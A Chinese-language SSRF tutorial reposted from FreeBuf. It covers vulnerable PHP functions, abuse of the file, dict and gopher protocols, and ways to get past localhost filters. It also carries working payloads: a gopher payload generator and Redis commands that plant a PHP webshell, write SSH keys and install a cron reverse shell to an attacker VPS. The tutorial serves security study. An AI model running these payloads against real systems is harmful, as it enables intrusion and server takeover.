SSRF

摘自:https://www.freebuf.com/articles/web/260806.html

服务端请求伪造。

SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制。

容易出现SSRF的地方:

社交分享功能:获取超链接的标题等内容进行显示
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:给网址翻译对应网页的内容
图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
数据库内置功能:数据库的比如mongodb的copyDatabase函数
邮件系统:比如接收邮件服务器地址
编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
从远程服务器请求资源

危害:

对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
对内网Web应用进行指纹识别,识别企业内部的资产信息。
攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
利用file协议读取服务器本地文件等。
进行跳板攻击等。

SSRF漏洞相关函数和类

file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。所以可以跟诸如../../../../../etc/passwd的参数进行文件读取。

readfile()函数与file_get_contents()函数相似。

fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。

curl_exec():
curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

SoapClient:
SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。
SoapClient是一个php的内置类,当其进行反序列化时,如果触发了该类中的__call方法,那么__call便方法可以发送HTTP和HTTPS请求。该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

比如:

$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));

补充:《SoapClient+crlf组合拳进行SSRF》

SSRF漏洞利用的相关协议

file协议:

在有回显的情况下,利用 file 协议可以读取任意文件的内容
比如:再传入url的地方传入file:///etc/passwd

dict协议:

泄露安装软件版本信息,查看端口,操作内网redis服务等
利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:

ssrf.php?url=dict://192.168.52.131:6379/info   // redis
ssrf.php?url=dict://192.168.52.131:80/info     // http
ssrf.php?url=dict://192.168.52.130:22/info   // ssh

gopher协议:

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

http/s协议:

探测内网主机存活:一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
/etc/hosts:hosts文件是linux系统中负责ip地址与域名快速解析的文件
/proc/net/arp:arp缓存表
/proc/net/fib_trie:所有网络接口IP地址(IPv4)

补充:关于dict协议和file协议可以参考:
https://zhuanlan.zhihu.com/p/115222529

相关绕过姿势

1.可以采用HTTP基本身份认证的方式绕过

url=http://ctf.@127.0.0.1/flag.php?show

2.302跳转

访问下面这个文件会自动跳转到http://127.0.0.1/flag.php

<?php
header("Location: http://127.0.0.1/flag.php");

3.进制转换

url=http://0x7F.0x00.0x00.0x01/flag.php        //ip地址全部转为16进制
url=http://0x7F.0.0.1/flag.php       //也可以只转第一个
url=http://0177.0.0.1/flag.php         //八进制
//好像整个ip转换成一个十进制也行

4.其他

url=http://127.0.1/flag.php
url=http://127.1/flag.php
url=http://0/flag.php          //0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://localhost/         # localhost就是代指127.0.0.1

5.利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)
类似于:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

6.DNS重绑定漏洞

浅谈DNS重绑定漏洞

7.利用URL的解析问题

7.1利用readfileparse_url函数的解析差异绕过指定的端口

// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
    readfile($url);
} else {
    die('Hacker!');
}

我们要访问11211端口,payload如下:

ssrf.php?url=127.0.0.1:11211:80/flag.txt

原因:


同样对host的限制也可绕过:

7.2利用curl和parse_url的解析差异绕指定的host



对于如下payload:

ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

parse_url解析出来是外部网站,所以放行,再用curl请求时请求的就是内网网址了。

Gopher协议的攻击

由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。

URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。

gopher的默认端口是70
如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码。
在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)。

怎么用gopher协议发POST包:
这是一个POST包:

POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。
改为gopher协议数据:

import urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)           #urlencode
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
print(result)

然后执行(将上述结果拼接在{result}处):

curl gopher://47.xxx.xxx.72:80/_{result}

攻击内网Redis

要求:
1.redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
2.没有设置密码认证(一般为空),可以免密码远程登录redis服务。

利用方法主要有三种:写WebShell、写SSH公钥、创建计划任务反弹Shell等。

思路是一样的:就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

写Webshell

redis命令如下:

flushall
set 1 '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

再将上述命令转化为Gopher协议的格式,就可以利用SSRF漏洞攻击啦。

写SSH公钥

同样,我们也可以直接这个存在Redis未授权的主机的~/.ssh目录下写入SSH公钥,直接实现免密登录,但前提是~/.ssh目录存在,如果不存在我们可以写入计划任务来创建该目录。
redis命令为:

flushall
set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrCwrA1zAhmjeG6E/45IEs/9a6AWfXb6iwzo+D62y8MOmt+sct27ZxGOcRR95FT6zrfFxqt2h56oLwml/Trxy5sExSQ/cvvLwUTWb3ntJYyh2eGkQnOf2d+ax2CVF8S6hn2Z0asAGnP3P4wCJlyR7BBTaka9QNH/4xsFDCfambjmYzbx9O2fzl8F67jsTq8BVZxy5XvSsoHdCtr7vxqFUd/bWcrZ5F1pEQ8tnEBYsyfMK0NuMnxBdquNVSlyQ/NnHKyWtI/OzzyfvtAGO6vf3dFSJlxwZ0aC15GOwJhjTpTMKq9jrRdGdkIrxLKe+XqQnjxtk4giopiFfRu8winE9scqlIA5Iu/d3O454ZkYDMud7zRkSI17lP5rq3A1f5xZbTRUlxpa3Pcuolg/OOhoA3iKNhJ/JT31TU9E24dGh2Ei8K+PpT92dUnFDcmbEfBBQz7llHUUBxedy44Yl+SOsVHpNqwFcrgsq/WR5BGqnu54vTTdJh0pSrl+tniHEnWWU= root@whoami
'
config set dir /root/.ssh/
config set dbfilename authorized_keys
save

再将上述命令转化为Gopher协议的格式,就可以利用SSRF漏洞攻击啦。

创建计划任务反弹Shell

redis命令如下:

flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save

// 47.xxx.xxx.72为攻击者vps的IP

再将上述命令转化为Gopher协议的格式,就可以利用SSRF漏洞攻击啦。

攻击内网FastCGI

《SSRF系列之攻击FastCGI》
可能可以造成任意代码执行漏洞。

攻击内网MySql

mysql采用挑战-应答加密模式:
MySQL分为服务端和客户端。MySQL数据库用户认证采用的是 挑战/应答 的方式,即服务器生成该挑战码(scramble)并发送给客户端,客户端用挑战码将自己的密码进行加密后,并将相应的加密结果返回给服务器,服务器本地用挑战码的将用户的密码加密,如果加密的结果和用户返回的加密的结果相同则用户认证成功,从而完成用户认证的过程。
登录时需要用服务器发来的挑战码(scramble)将密码加密,但是当数据库用户密码为空时,加密后的密文也为空。客户端给服务端发的认证包就是相对固定的了。这样就无需交互了,可以通过Gopher协议来直接发送了。
所以ssrf攻击内网mysql要求密码为空。
使用Gopherus工具:



生成的payload即为ssrf漏洞的提交参数,一般需要再urlencode一次,因为这一段gopher请求会作为二次请求发送。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,772评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,458评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,610评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,640评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,657评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,590评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,962评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,631评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,870评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,611评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,704评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,386评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,969评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,944评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,179评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,742评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,440评论 2 342

推荐阅读更多精彩内容

  • 前言 最近本来打算去实习面试,看到有人分享的某亭实习面试题,备受打击,于是有了这篇文章 漏洞原理: SSRF,即服...
    book4yi阅读 3,194评论 0 2
  • 上周挖了几个SSRF漏洞,标的服务器配置较为简单,利用file协议就可以做很多事情。后来顺便看了一些SSRF漏洞相...
    AxisX阅读 2,327评论 0 3
  • 全称Server-Side Request Forgery服务器端请求伪造,是一种经攻击者构造形成由服务端发起请求...
    jjf012阅读 1,826评论 0 0
  • 一、weblogic ssrf攻击redis Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTT...
    Instu阅读 3,669评论 2 0
  • 0x00原理 一般的请求:客户端发起请求,服务器响应。 另外一种请求:客户端发起请求(向服务端提供一个URL),服...
    0x525c阅读 2,482评论 0 1